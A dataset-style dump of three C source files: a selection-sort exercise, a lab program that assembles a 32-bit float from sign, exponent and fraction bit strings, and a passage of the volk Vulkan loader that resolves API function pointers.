file
stringlengths 18
26
| data
stringlengths 4
1.03M
|
---|---|
the_stack_data/17400.c | #include<stdio.h>
int main(){
int i, j, count, temp, number[25];
printf("Enter number of inputs: ");
scanf("%d",&count);
printf("Enter %d elements: ", count);
// Loop to get the elements stored in array
for(i=0;i<count;i++)
scanf("%d",&number[i]);
// Logic of selection sort algorithm
for(i=0;i<count;i++){
for(j=i+1;j<count;j++){
if(number[i]>number[j]){
temp=number[i];
number[i]=number[j];
number[j]=temp;
}
}
}
printf("Sorted elements: ");
for(i=0;i<count;i++)
printf(" %d",number[i]);
return 0;
}
|
the_stack_data/247019271.c | // COMP1521 19t2 ... lab 03: Make a Float
// maf.c: read in bit strings to build a float value
// Written by John Shepherd, August 2017
// Completed by ...
#include <assert.h>
#include <err.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
typedef uint32_t word;
typedef struct float32 {
// define bit_fields for sign, exp and frac
// obviously they need to be larger than 1-bit each
// and may need to be defined in a different order
unsigned int frac : 23, exp : 8, sign : 1 ;
} float32;
typedef union bits32 {
float fval; // interpret the bits as a float
word xval; // interpret as a single 32-bit word
float32 bits; // manipulate individual bits
} bits32;
void checkArgs (int, char **);
bits32 getBits (char *, char *, char *);
char *showBits (word, char *);
bool justBits (char *, int);
int main (int argc, char **argv)
{
bits32 u;
char out[50];
// here's a hint ...
u.bits.sign = u.bits.exp = u.bits.frac = 0;
// check command-line args (all strings of 0/1
// kills program if args are bad
checkArgs (argc, argv);
// convert command-line args into components of
// a float32 inside a bits32, and return the union
u = getBits (argv[1], argv[2], argv[3]);
printf ("bits : %s\n", showBits (u.xval, out));
printf ("float: %0.10f\n", u.fval);
return EXIT_SUCCESS;
}
// convert three bit-strings (already checked)
// into the components of a struct _float
bits32 getBits (char *sign, char *exp, char *frac)
{
bits32 new;
// convert char *sign into a single bit in new.bits
new.bits.sign = sign[0] - '0';
// convert char *exp into an 8-bit value in new.bits
unsigned int mask = 1;
unsigned int total = 0;
for(int i = 7; i >= 0; i--) {
if(exp[i] == '1') {
total = total + mask;
}
mask = mask << 1;
}
new.bits.exp = total;
// convert char *frac into a 23-bit value in new.bits
mask = 1;
total = 0;
for(int i = 22; i >= 0; i--) {
if(frac[i] == '1') {
total = total + mask;
}
mask = mask << 1;
}
new.bits.frac = total;
return new;
}
// convert the 32-bit bit-string in val into
// a sequence of '0' and '1' characters in buf
// assume that buf has size > 32
// return a pointer to buf
char *showBits (word val, char *buf)
{
word mask;
int size = 0;
int j;
for (j = 0; j < 32; j++) {
if(size == 1 || size == 10) {
buf[size] = ' ';
size++;
j--;
continue;
}
mask = (unsigned) 1 << (31 - j);
if (val & mask) {
buf[size] = '1';
} else {
buf[size] = '0';
}
size++;
}
buf[size] = '\0';
return buf;
}
// checks command-line args
// need at least 3, and all must be strings of 0/1
// never returns if it finds a problem
void checkArgs (int argc, char **argv)
{
if (argc < 3)
errx (EX_USAGE, "usage: %s Sign Exp Frac", argv[0]);
if (! justBits (argv[1], 1))
errx (EX_DATAERR, "invalid Sign: %s", argv[1]);
if (! justBits (argv[2], 8))
errx (EX_DATAERR, "invalid Exp: %s", argv[2]);
if (! justBits (argv[3], 23))
errx (EX_DATAERR, "invalid Frac: %s", argv[3]);
return;
}
// check whether a string is all 0/1 and of a given length
bool justBits (char *str, int len)
{
assert (len >= 0);
if (strlen (str) != (size_t) len)
return false;
while (*str != '\0') {
if (*str != '0' && *str != '1')
return false;
str++;
}
return true;
}
|
the_stack_data/58904.c | /* This file is part of volk library; see volk.h for version/license details */
#if defined(ENABLE_VULKAN)
#include "volk.h"
#ifdef _WIN32
# include <windows.h>
#else
# include <dlfcn.h>
#endif
#ifdef __cplusplus
extern "C" {
#endif
static void volkGenLoadLoader(void* context, PFN_vkVoidFunction (*load)(void*, const char*));
static void volkGenLoadInstance(void* context, PFN_vkVoidFunction (*load)(void*, const char*));
static void volkGenLoadDevice(void* context, PFN_vkVoidFunction (*load)(void*, const char*));
static void volkGenLoadDeviceTable(struct VolkDeviceTable* table, void* context, PFN_vkVoidFunction (*load)(void*, const char*));
static PFN_vkVoidFunction vkGetInstanceProcAddrStub(void* context, const char* name)
{
return vkGetInstanceProcAddr((VkInstance)context, name);
}
static PFN_vkVoidFunction vkGetDeviceProcAddrStub(void* context, const char* name)
{
return vkGetDeviceProcAddr((VkDevice)context, name);
}
VkResult volkInitialize()
{
#ifdef _WIN32
HMODULE module = LoadLibraryA("vulkan-1.dll");
if (!module)
return VK_ERROR_INITIALIZATION_FAILED;
vkGetInstanceProcAddr = (PFN_vkGetInstanceProcAddr)GetProcAddress(module, "vkGetInstanceProcAddr");
#else
void* module = dlopen("libvulkan.so", RTLD_NOW | RTLD_LOCAL);
if (!module)
module = dlopen("libvulkan.so.1", RTLD_NOW | RTLD_LOCAL);
if (!module)
return VK_ERROR_INITIALIZATION_FAILED;
vkGetInstanceProcAddr = (PFN_vkGetInstanceProcAddr)dlsym(module, "vkGetInstanceProcAddr");
#endif
volkGenLoadLoader(NULL, vkGetInstanceProcAddrStub);
return VK_SUCCESS;
}
void volkInitializeCustom(PFN_vkGetInstanceProcAddr handler)
{
vkGetInstanceProcAddr = handler;
volkGenLoadLoader(NULL, vkGetInstanceProcAddrStub);
}
uint32_t volkGetInstanceVersion()
{
#if defined(VK_VERSION_1_1)
uint32_t apiVersion = 0;
if (vkEnumerateInstanceVersion && vkEnumerateInstanceVersion(&apiVersion) == VK_SUCCESS)
return apiVersion;
#endif
if (vkCreateInstance)
return VK_API_VERSION_1_0;
return 0;
}
void volkLoadInstance(VkInstance instance)
{
volkGenLoadInstance(instance, vkGetInstanceProcAddrStub);
volkGenLoadDevice(instance, vkGetInstanceProcAddrStub);
}
void volkLoadDevice(VkDevice device)
{
volkGenLoadDevice(device, vkGetDeviceProcAddrStub);
}
void volkLoadDeviceTable(struct VolkDeviceTable* table, VkDevice device)
{
volkGenLoadDeviceTable(table, device, vkGetDeviceProcAddrStub);
}
static void volkGenLoadLoader(void* context, PFN_vkVoidFunction (*load)(void*, const char*))
{
/* VOLK_GENERATE_LOAD_LOADER */
#if defined(VK_VERSION_1_0)
vkCreateInstance = (PFN_vkCreateInstance)load(context, "vkCreateInstance");
vkEnumerateInstanceExtensionProperties = (PFN_vkEnumerateInstanceExtensionProperties)load(context, "vkEnumerateInstanceExtensionProperties");
vkEnumerateInstanceLayerProperties = (PFN_vkEnumerateInstanceLayerProperties)load(context, "vkEnumerateInstanceLayerProperties");
#endif /* defined(VK_VERSION_1_0) */
#if defined(VK_VERSION_1_1)
vkEnumerateInstanceVersion = (PFN_vkEnumerateInstanceVersion)load(context, "vkEnumerateInstanceVersion");
#endif /* defined(VK_VERSION_1_1) */
/* VOLK_GENERATE_LOAD_LOADER */
}
static void volkGenLoadInstance(void* context, PFN_vkVoidFunction (*load)(void*, const char*))
{
/* VOLK_GENERATE_LOAD_INSTANCE */
#if defined(VK_VERSION_1_0)
vkCreateDevice = (PFN_vkCreateDevice)load(context, "vkCreateDevice");
vkDestroyInstance = (PFN_vkDestroyInstance)load(context, "vkDestroyInstance");
vkEnumerateDeviceExtensionProperties = (PFN_vkEnumerateDeviceExtensionProperties)load(context, "vkEnumerateDeviceExtensionProperties");
vkEnumerateDeviceLayerProperties = (PFN_vkEnumerateDeviceLayerProperties)load(context, "vkEnumerateDeviceLayerProperties");
vkEnumeratePhysicalDevices = (PFN_vkEnumeratePhysicalDevices)load(context, "vkEnumeratePhysicalDevices");
vkGetDeviceProcAddr = (PFN_vkGetDeviceProcAddr)load(context, "vkGetDeviceProcAddr");
vkGetPhysicalDeviceFeatures = (PFN_vkGetPhysicalDeviceFeatures)load(context, "vkGetPhysicalDeviceFeatures");
vkGetPhysicalDeviceFormatProperties = (PFN_vkGetPhysicalDeviceFormatProperties)load(context, "vkGetPhysicalDeviceFormatProperties");
vkGetPhysicalDeviceImageFormatProperties = (PFN_vkGetPhysicalDeviceImageFormatProperties)load(context, "vkGetPhysicalDeviceImageFormatProperties");
vkGetPhysicalDeviceMemoryProperties = (PFN_vkGetPhysicalDeviceMemoryProperties)load(context, "vkGetPhysicalDeviceMemoryProperties");
vkGetPhysicalDeviceProperties = (PFN_vkGetPhysicalDeviceProperties)load(context, "vkGetPhysicalDeviceProperties");
vkGetPhysicalDeviceQueueFamilyProperties = (PFN_vkGetPhysicalDeviceQueueFamilyProperties)load(context, "vkGetPhysicalDeviceQueueFamilyProperties");
vkGetPhysicalDeviceSparseImageFormatProperties = (PFN_vkGetPhysicalDeviceSparseImageFormatProperties)load(context, "vkGetPhysicalDeviceSparseImageFormatProperties");
#endif /* defined(VK_VERSION_1_0) */
#if defined(VK_VERSION_1_1)
vkEnumeratePhysicalDeviceGroups = (PFN_vkEnumeratePhysicalDeviceGroups)load(context, "vkEnumeratePhysicalDeviceGroups");
vkGetPhysicalDeviceExternalBufferProperties = (PFN_vkGetPhysicalDeviceExternalBufferProperties)load(context, "vkGetPhysicalDeviceExternalBufferProperties");
vkGetPhysicalDeviceExternalFenceProperties = (PFN_vkGetPhysicalDeviceExternalFenceProperties)load(context, "vkGetPhysicalDeviceExternalFenceProperties");
vkGetPhysicalDeviceExternalSemaphoreProperties = (PFN_vkGetPhysicalDeviceExternalSemaphoreProperties)load(context, "vkGetPhysicalDeviceExternalSemaphoreProperties");
vkGetPhysicalDeviceFeatures2 = (PFN_vkGetPhysicalDeviceFeatures2)load(context, "vkGetPhysicalDeviceFeatures2");
vkGetPhysicalDeviceFormatProperties2 = (PFN_vkGetPhysicalDeviceFormatProperties2)load(context, "vkGetPhysicalDeviceFormatProperties2");
vkGetPhysicalDeviceImageFormatProperties2 = (PFN_vkGetPhysicalDeviceImageFormatProperties2)load(context, "vkGetPhysicalDeviceImageFormatProperties2");
vkGetPhysicalDeviceMemoryProperties2 = (PFN_vkGetPhysicalDeviceMemoryProperties2)load(context, "vkGetPhysicalDeviceMemoryProperties2");
vkGetPhysicalDeviceProperties2 = (PFN_vkGetPhysicalDeviceProperties2)load(context, "vkGetPhysicalDeviceProperties2");
vkGetPhysicalDeviceQueueFamilyProperties2 = (PFN_vkGetPhysicalDeviceQueueFamilyProperties2)load(context, "vkGetPhysicalDeviceQueueFamilyProperties2");
vkGetPhysicalDeviceSparseImageFormatProperties2 = (PFN_vkGetPhysicalDeviceSparseImageFormatProperties2)load(context, "vkGetPhysicalDeviceSparseImageFormatProperties2");
#endif /* defined(VK_VERSION_1_1) */
#if defined(VK_EXT_acquire_xlib_display)
vkAcquireXlibDisplayEXT = (PFN_vkAcquireXlibDisplayEXT)load(context, "vkAcquireXlibDisplayEXT");
vkGetRandROutputDisplayEXT = (PFN_vkGetRandROutputDisplayEXT)load(context, "vkGetRandROutputDisplayEXT");
#endif /* defined(VK_EXT_acquire_xlib_display) */
#if defined(VK_EXT_debug_report)
vkCreateDebugReportCallbackEXT = (PFN_vkCreateDebugReportCallbackEXT)load(context, "vkCreateDebugReportCallbackEXT");
vkDebugReportMessageEXT = (PFN_vkDebugReportMessageEXT)load(context, "vkDebugReportMessageEXT");
vkDestroyDebugReportCallbackEXT = (PFN_vkDestroyDebugReportCallbackEXT)load(context, "vkDestroyDebugReportCallbackEXT");
#endif /* defined(VK_EXT_debug_report) */
#if defined(VK_EXT_debug_utils)
vkCreateDebugUtilsMessengerEXT = (PFN_vkCreateDebugUtilsMessengerEXT)load(context, "vkCreateDebugUtilsMessengerEXT");
vkDestroyDebugUtilsMessengerEXT = (PFN_vkDestroyDebugUtilsMessengerEXT)load(context, "vkDestroyDebugUtilsMessengerEXT");
vkSubmitDebugUtilsMessageEXT = (PFN_vkSubmitDebugUtilsMessageEXT)load(context, "vkSubmitDebugUtilsMessageEXT");
#endif /* defined(VK_EXT_debug_utils) */
#if defined(VK_EXT_direct_mode_display)
vkReleaseDisplayEXT = (PFN_vkReleaseDisplayEXT)load(context, "vkReleaseDisplayEXT");
#endif /* defined(VK_EXT_direct_mode_display) */
#if defined(VK_EXT_display_surface_counter)
vkGetPhysicalDeviceSurfaceCapabilities2EXT = (PFN_vkGetPhysicalDeviceSurfaceCapabilities2EXT)load(context, "vkGetPhysicalDeviceSurfaceCapabilities2EXT");
#endif /* defined(VK_EXT_display_surface_counter) */
#if defined(VK_EXT_sample_locations)
vkGetPhysicalDeviceMultisamplePropertiesEXT = (PFN_vkGetPhysicalDeviceMultisamplePropertiesEXT)load(context, "vkGetPhysicalDeviceMultisamplePropertiesEXT");
#endif /* defined(VK_EXT_sample_locations) */
#if defined(VK_KHR_android_surface)
vkCreateAndroidSurfaceKHR = (PFN_vkCreateAndroidSurfaceKHR)load(context, "vkCreateAndroidSurfaceKHR");
#endif /* defined(VK_KHR_android_surface) */
#if defined(VK_KHR_device_group_creation)
vkEnumeratePhysicalDeviceGroupsKHR = (PFN_vkEnumeratePhysicalDeviceGroupsKHR)load(context, "vkEnumeratePhysicalDeviceGroupsKHR");
#endif /* defined(VK_KHR_device_group_creation) */
#if defined(VK_KHR_display)
vkCreateDisplayModeKHR = (PFN_vkCreateDisplayModeKHR)load(context, "vkCreateDisplayModeKHR");
vkCreateDisplayPlaneSurfaceKHR = (PFN_vkCreateDisplayPlaneSurfaceKHR)load(context, "vkCreateDisplayPlaneSurfaceKHR");
vkGetDisplayModePropertiesKHR = (PFN_vkGetDisplayModePropertiesKHR)load(context, "vkGetDisplayModePropertiesKHR");
vkGetDisplayPlaneCapabilitiesKHR = (PFN_vkGetDisplayPlaneCapabilitiesKHR)load(context, "vkGetDisplayPlaneCapabilitiesKHR");
vkGetDisplayPlaneSupportedDisplaysKHR = (PFN_vkGetDisplayPlaneSupportedDisplaysKHR)load(context, "vkGetDisplayPlaneSupportedDisplaysKHR");
vkGetPhysicalDeviceDisplayPlanePropertiesKHR = (PFN_vkGetPhysicalDeviceDisplayPlanePropertiesKHR)load(context, "vkGetPhysicalDeviceDisplayPlanePropertiesKHR");
vkGetPhysicalDeviceDisplayPropertiesKHR = (PFN_vkGetPhysicalDeviceDisplayPropertiesKHR)load(context, "vkGetPhysicalDeviceDisplayPropertiesKHR");
#endif /* defined(VK_KHR_display) */
#if defined(VK_KHR_external_fence_capabilities)
vkGetPhysicalDeviceExternalFencePropertiesKHR = (PFN_vkGetPhysicalDeviceExternalFencePropertiesKHR)load(context, "vkGetPhysicalDeviceExternalFencePropertiesKHR");
#endif /* defined(VK_KHR_external_fence_capabilities) */
#if defined(VK_KHR_external_memory_capabilities)
vkGetPhysicalDeviceExternalBufferPropertiesKHR = (PFN_vkGetPhysicalDeviceExternalBufferPropertiesKHR)load(context, "vkGetPhysicalDeviceExternalBufferPropertiesKHR");
#endif /* defined(VK_KHR_external_memory_capabilities) */
#if defined(VK_KHR_external_semaphore_capabilities)
vkGetPhysicalDeviceExternalSemaphorePropertiesKHR = (PFN_vkGetPhysicalDeviceExternalSemaphorePropertiesKHR)load(context, "vkGetPhysicalDeviceExternalSemaphorePropertiesKHR");
#endif /* defined(VK_KHR_external_semaphore_capabilities) */
#if defined(VK_KHR_get_display_properties2)
vkGetDisplayModeProperties2KHR = (PFN_vkGetDisplayModeProperties2KHR)load(context, "vkGetDisplayModeProperties2KHR");
vkGetDisplayPlaneCapabilities2KHR = (PFN_vkGetDisplayPlaneCapabilities2KHR)load(context, "vkGetDisplayPlaneCapabilities2KHR");
vkGetPhysicalDeviceDisplayPlaneProperties2KHR = (PFN_vkGetPhysicalDeviceDisplayPlaneProperties2KHR)load(context, "vkGetPhysicalDeviceDisplayPlaneProperties2KHR");
vkGetPhysicalDeviceDisplayProperties2KHR = (PFN_vkGetPhysicalDeviceDisplayProperties2KHR)load(context, "vkGetPhysicalDeviceDisplayProperties2KHR");
#endif /* defined(VK_KHR_get_display_properties2) */
#if defined(VK_KHR_get_physical_device_properties2)
vkGetPhysicalDeviceFeatures2KHR = (PFN_vkGetPhysicalDeviceFeatures2KHR)load(context, "vkGetPhysicalDeviceFeatures2KHR");
vkGetPhysicalDeviceFormatProperties2KHR = (PFN_vkGetPhysicalDeviceFormatProperties2KHR)load(context, "vkGetPhysicalDeviceFormatProperties2KHR");
vkGetPhysicalDeviceImageFormatProperties2KHR = (PFN_vkGetPhysicalDeviceImageFormatProperties2KHR)load(context, "vkGetPhysicalDeviceImageFormatProperties2KHR");
vkGetPhysicalDeviceMemoryProperties2KHR = (PFN_vkGetPhysicalDeviceMemoryProperties2KHR)load(context, "vkGetPhysicalDeviceMemoryProperties2KHR");
vkGetPhysicalDeviceProperties2KHR = (PFN_vkGetPhysicalDeviceProperties2KHR)load(context, "vkGetPhysicalDeviceProperties2KHR");
vkGetPhysicalDeviceQueueFamilyProperties2KHR = (PFN_vkGetPhysicalDeviceQueueFamilyProperties2KHR)load(context, "vkGetPhysicalDeviceQueueFamilyProperties2KHR");
vkGetPhysicalDeviceSparseImageFormatProperties2KHR = (PFN_vkGetPhysicalDeviceSparseImageFormatProperties2KHR)load(context, "vkGetPhysicalDeviceSparseImageFormatProperties2KHR");
#endif /* defined(VK_KHR_get_physical_device_properties2) */
#if defined(VK_KHR_get_surface_capabilities2)
vkGetPhysicalDeviceSurfaceCapabilities2KHR = (PFN_vkGetPhysicalDeviceSurfaceCapabilities2KHR)load(context, "vkGetPhysicalDeviceSurfaceCapabilities2KHR");
vkGetPhysicalDeviceSurfaceFormats2KHR = (PFN_vkGetPhysicalDeviceSurfaceFormats2KHR)load(context, "vkGetPhysicalDeviceSurfaceFormats2KHR");
#endif /* defined(VK_KHR_get_surface_capabilities2) */
#if defined(VK_KHR_mir_surface)
vkCreateMirSurfaceKHR = (PFN_vkCreateMirSurfaceKHR)load(context, "vkCreateMirSurfaceKHR");
vkGetPhysicalDeviceMirPresentationSupportKHR = (PFN_vkGetPhysicalDeviceMirPresentationSupportKHR)load(context, "vkGetPhysicalDeviceMirPresentationSupportKHR");
#endif /* defined(VK_KHR_mir_surface) */
#if defined(VK_KHR_surface)
vkDestroySurfaceKHR = (PFN_vkDestroySurfaceKHR)load(context, "vkDestroySurfaceKHR");
vkGetPhysicalDeviceSurfaceCapabilitiesKHR = (PFN_vkGetPhysicalDeviceSurfaceCapabilitiesKHR)load(context, "vkGetPhysicalDeviceSurfaceCapabilitiesKHR");
vkGetPhysicalDeviceSurfaceFormatsKHR = (PFN_vkGetPhysicalDeviceSurfaceFormatsKHR)load(context, "vkGetPhysicalDeviceSurfaceFormatsKHR");
vkGetPhysicalDeviceSurfacePresentModesKHR = (PFN_vkGetPhysicalDeviceSurfacePresentModesKHR)load(context, "vkGetPhysicalDeviceSurfacePresentModesKHR");
vkGetPhysicalDeviceSurfaceSupportKHR = (PFN_vkGetPhysicalDeviceSurfaceSupportKHR)load(context, "vkGetPhysicalDeviceSurfaceSupportKHR");
#endif /* defined(VK_KHR_surface) */
#if defined(VK_KHR_wayland_surface)
vkCreateWaylandSurfaceKHR = (PFN_vkCreateWaylandSurfaceKHR)load(context, "vkCreateWaylandSurfaceKHR");
vkGetPhysicalDeviceWaylandPresentationSupportKHR = (PFN_vkGetPhysicalDeviceWaylandPresentationSupportKHR)load(context, "vkGetPhysicalDeviceWaylandPresentationSupportKHR");
#endif /* defined(VK_KHR_wayland_surface) */
#if defined(VK_KHR_win32_surface)
vkCreateWin32SurfaceKHR = (PFN_vkCreateWin32SurfaceKHR)load(context, "vkCreateWin32SurfaceKHR");
vkGetPhysicalDeviceWin32PresentationSupportKHR = (PFN_vkGetPhysicalDeviceWin32PresentationSupportKHR)load(context, "vkGetPhysicalDeviceWin32PresentationSupportKHR");
#endif /* defined(VK_KHR_win32_surface) */
#if defined(VK_KHR_xcb_surface)
vkCreateXcbSurfaceKHR = (PFN_vkCreateXcbSurfaceKHR)load(context, "vkCreateXcbSurfaceKHR");
vkGetPhysicalDeviceXcbPresentationSupportKHR = (PFN_vkGetPhysicalDeviceXcbPresentationSupportKHR)load(context, "vkGetPhysicalDeviceXcbPresentationSupportKHR");
#endif /* defined(VK_KHR_xcb_surface) */
#if defined(VK_KHR_xlib_surface)
vkCreateXlibSurfaceKHR = (PFN_vkCreateXlibSurfaceKHR)load(context, "vkCreateXlibSurfaceKHR");
vkGetPhysicalDeviceXlibPresentationSupportKHR = (PFN_vkGetPhysicalDeviceXlibPresentationSupportKHR)load(context, "vkGetPhysicalDeviceXlibPresentationSupportKHR");
#endif /* defined(VK_KHR_xlib_surface) */
#if defined(VK_MVK_ios_surface)
vkCreateIOSSurfaceMVK = (PFN_vkCreateIOSSurfaceMVK)load(context, "vkCreateIOSSurfaceMVK");
#endif /* defined(VK_MVK_ios_surface) */
#if defined(VK_MVK_macos_surface)
vkCreateMacOSSurfaceMVK = (PFN_vkCreateMacOSSurfaceMVK)load(context, "vkCreateMacOSSurfaceMVK");
#endif /* defined(VK_MVK_macos_surface) */
#if defined(VK_NN_vi_surface)
vkCreateViSurfaceNN = (PFN_vkCreateViSurfaceNN)load(context, "vkCreateViSurfaceNN");
#endif /* defined(VK_NN_vi_surface) */
#if defined(VK_NVX_device_generated_commands)
vkGetPhysicalDeviceGeneratedCommandsPropertiesNVX = (PFN_vkGetPhysicalDeviceGeneratedCommandsPropertiesNVX)load(context, "vkGetPhysicalDeviceGeneratedCommandsPropertiesNVX");
#endif /* defined(VK_NVX_device_generated_commands) */
#if defined(VK_NV_external_memory_capabilities)
vkGetPhysicalDeviceExternalImageFormatPropertiesNV = (PFN_vkGetPhysicalDeviceExternalImageFormatPropertiesNV)load(context, "vkGetPhysicalDeviceExternalImageFormatPropertiesNV");
#endif /* defined(VK_NV_external_memory_capabilities) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
vkGetPhysicalDevicePresentRectanglesKHR = (PFN_vkGetPhysicalDevicePresentRectanglesKHR)load(context, "vkGetPhysicalDevicePresentRectanglesKHR");
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
/* VOLK_GENERATE_LOAD_INSTANCE */
}
static void volkGenLoadDevice(void* context, PFN_vkVoidFunction (*load)(void*, const char*))
{
/* VOLK_GENERATE_LOAD_DEVICE */
#if defined(VK_VERSION_1_0)
vkAllocateCommandBuffers = (PFN_vkAllocateCommandBuffers)load(context, "vkAllocateCommandBuffers");
vkAllocateDescriptorSets = (PFN_vkAllocateDescriptorSets)load(context, "vkAllocateDescriptorSets");
vkAllocateMemory = (PFN_vkAllocateMemory)load(context, "vkAllocateMemory");
vkBeginCommandBuffer = (PFN_vkBeginCommandBuffer)load(context, "vkBeginCommandBuffer");
vkBindBufferMemory = (PFN_vkBindBufferMemory)load(context, "vkBindBufferMemory");
vkBindImageMemory = (PFN_vkBindImageMemory)load(context, "vkBindImageMemory");
vkCmdBeginQuery = (PFN_vkCmdBeginQuery)load(context, "vkCmdBeginQuery");
vkCmdBeginRenderPass = (PFN_vkCmdBeginRenderPass)load(context, "vkCmdBeginRenderPass");
vkCmdBindDescriptorSets = (PFN_vkCmdBindDescriptorSets)load(context, "vkCmdBindDescriptorSets");
vkCmdBindIndexBuffer = (PFN_vkCmdBindIndexBuffer)load(context, "vkCmdBindIndexBuffer");
vkCmdBindPipeline = (PFN_vkCmdBindPipeline)load(context, "vkCmdBindPipeline");
vkCmdBindVertexBuffers = (PFN_vkCmdBindVertexBuffers)load(context, "vkCmdBindVertexBuffers");
vkCmdBlitImage = (PFN_vkCmdBlitImage)load(context, "vkCmdBlitImage");
vkCmdClearAttachments = (PFN_vkCmdClearAttachments)load(context, "vkCmdClearAttachments");
vkCmdClearColorImage = (PFN_vkCmdClearColorImage)load(context, "vkCmdClearColorImage");
vkCmdClearDepthStencilImage = (PFN_vkCmdClearDepthStencilImage)load(context, "vkCmdClearDepthStencilImage");
vkCmdCopyBuffer = (PFN_vkCmdCopyBuffer)load(context, "vkCmdCopyBuffer");
vkCmdCopyBufferToImage = (PFN_vkCmdCopyBufferToImage)load(context, "vkCmdCopyBufferToImage");
vkCmdCopyImage = (PFN_vkCmdCopyImage)load(context, "vkCmdCopyImage");
vkCmdCopyImageToBuffer = (PFN_vkCmdCopyImageToBuffer)load(context, "vkCmdCopyImageToBuffer");
vkCmdCopyQueryPoolResults = (PFN_vkCmdCopyQueryPoolResults)load(context, "vkCmdCopyQueryPoolResults");
vkCmdDispatch = (PFN_vkCmdDispatch)load(context, "vkCmdDispatch");
vkCmdDispatchIndirect = (PFN_vkCmdDispatchIndirect)load(context, "vkCmdDispatchIndirect");
vkCmdDraw = (PFN_vkCmdDraw)load(context, "vkCmdDraw");
vkCmdDrawIndexed = (PFN_vkCmdDrawIndexed)load(context, "vkCmdDrawIndexed");
vkCmdDrawIndexedIndirect = (PFN_vkCmdDrawIndexedIndirect)load(context, "vkCmdDrawIndexedIndirect");
vkCmdDrawIndirect = (PFN_vkCmdDrawIndirect)load(context, "vkCmdDrawIndirect");
vkCmdEndQuery = (PFN_vkCmdEndQuery)load(context, "vkCmdEndQuery");
vkCmdEndRenderPass = (PFN_vkCmdEndRenderPass)load(context, "vkCmdEndRenderPass");
vkCmdExecuteCommands = (PFN_vkCmdExecuteCommands)load(context, "vkCmdExecuteCommands");
vkCmdFillBuffer = (PFN_vkCmdFillBuffer)load(context, "vkCmdFillBuffer");
vkCmdNextSubpass = (PFN_vkCmdNextSubpass)load(context, "vkCmdNextSubpass");
vkCmdPipelineBarrier = (PFN_vkCmdPipelineBarrier)load(context, "vkCmdPipelineBarrier");
vkCmdPushConstants = (PFN_vkCmdPushConstants)load(context, "vkCmdPushConstants");
vkCmdResetEvent = (PFN_vkCmdResetEvent)load(context, "vkCmdResetEvent");
vkCmdResetQueryPool = (PFN_vkCmdResetQueryPool)load(context, "vkCmdResetQueryPool");
vkCmdResolveImage = (PFN_vkCmdResolveImage)load(context, "vkCmdResolveImage");
vkCmdSetBlendConstants = (PFN_vkCmdSetBlendConstants)load(context, "vkCmdSetBlendConstants");
vkCmdSetDepthBias = (PFN_vkCmdSetDepthBias)load(context, "vkCmdSetDepthBias");
vkCmdSetDepthBounds = (PFN_vkCmdSetDepthBounds)load(context, "vkCmdSetDepthBounds");
vkCmdSetEvent = (PFN_vkCmdSetEvent)load(context, "vkCmdSetEvent");
vkCmdSetLineWidth = (PFN_vkCmdSetLineWidth)load(context, "vkCmdSetLineWidth");
vkCmdSetScissor = (PFN_vkCmdSetScissor)load(context, "vkCmdSetScissor");
vkCmdSetStencilCompareMask = (PFN_vkCmdSetStencilCompareMask)load(context, "vkCmdSetStencilCompareMask");
vkCmdSetStencilReference = (PFN_vkCmdSetStencilReference)load(context, "vkCmdSetStencilReference");
vkCmdSetStencilWriteMask = (PFN_vkCmdSetStencilWriteMask)load(context, "vkCmdSetStencilWriteMask");
vkCmdSetViewport = (PFN_vkCmdSetViewport)load(context, "vkCmdSetViewport");
vkCmdUpdateBuffer = (PFN_vkCmdUpdateBuffer)load(context, "vkCmdUpdateBuffer");
vkCmdWaitEvents = (PFN_vkCmdWaitEvents)load(context, "vkCmdWaitEvents");
vkCmdWriteTimestamp = (PFN_vkCmdWriteTimestamp)load(context, "vkCmdWriteTimestamp");
vkCreateBuffer = (PFN_vkCreateBuffer)load(context, "vkCreateBuffer");
vkCreateBufferView = (PFN_vkCreateBufferView)load(context, "vkCreateBufferView");
vkCreateCommandPool = (PFN_vkCreateCommandPool)load(context, "vkCreateCommandPool");
vkCreateComputePipelines = (PFN_vkCreateComputePipelines)load(context, "vkCreateComputePipelines");
vkCreateDescriptorPool = (PFN_vkCreateDescriptorPool)load(context, "vkCreateDescriptorPool");
vkCreateDescriptorSetLayout = (PFN_vkCreateDescriptorSetLayout)load(context, "vkCreateDescriptorSetLayout");
vkCreateEvent = (PFN_vkCreateEvent)load(context, "vkCreateEvent");
vkCreateFence = (PFN_vkCreateFence)load(context, "vkCreateFence");
vkCreateFramebuffer = (PFN_vkCreateFramebuffer)load(context, "vkCreateFramebuffer");
vkCreateGraphicsPipelines = (PFN_vkCreateGraphicsPipelines)load(context, "vkCreateGraphicsPipelines");
vkCreateImage = (PFN_vkCreateImage)load(context, "vkCreateImage");
vkCreateImageView = (PFN_vkCreateImageView)load(context, "vkCreateImageView");
vkCreatePipelineCache = (PFN_vkCreatePipelineCache)load(context, "vkCreatePipelineCache");
vkCreatePipelineLayout = (PFN_vkCreatePipelineLayout)load(context, "vkCreatePipelineLayout");
vkCreateQueryPool = (PFN_vkCreateQueryPool)load(context, "vkCreateQueryPool");
vkCreateRenderPass = (PFN_vkCreateRenderPass)load(context, "vkCreateRenderPass");
vkCreateSampler = (PFN_vkCreateSampler)load(context, "vkCreateSampler");
vkCreateSemaphore = (PFN_vkCreateSemaphore)load(context, "vkCreateSemaphore");
vkCreateShaderModule = (PFN_vkCreateShaderModule)load(context, "vkCreateShaderModule");
vkDestroyBuffer = (PFN_vkDestroyBuffer)load(context, "vkDestroyBuffer");
vkDestroyBufferView = (PFN_vkDestroyBufferView)load(context, "vkDestroyBufferView");
vkDestroyCommandPool = (PFN_vkDestroyCommandPool)load(context, "vkDestroyCommandPool");
vkDestroyDescriptorPool = (PFN_vkDestroyDescriptorPool)load(context, "vkDestroyDescriptorPool");
vkDestroyDescriptorSetLayout = (PFN_vkDestroyDescriptorSetLayout)load(context, "vkDestroyDescriptorSetLayout");
vkDestroyDevice = (PFN_vkDestroyDevice)load(context, "vkDestroyDevice");
vkDestroyEvent = (PFN_vkDestroyEvent)load(context, "vkDestroyEvent");
vkDestroyFence = (PFN_vkDestroyFence)load(context, "vkDestroyFence");
vkDestroyFramebuffer = (PFN_vkDestroyFramebuffer)load(context, "vkDestroyFramebuffer");
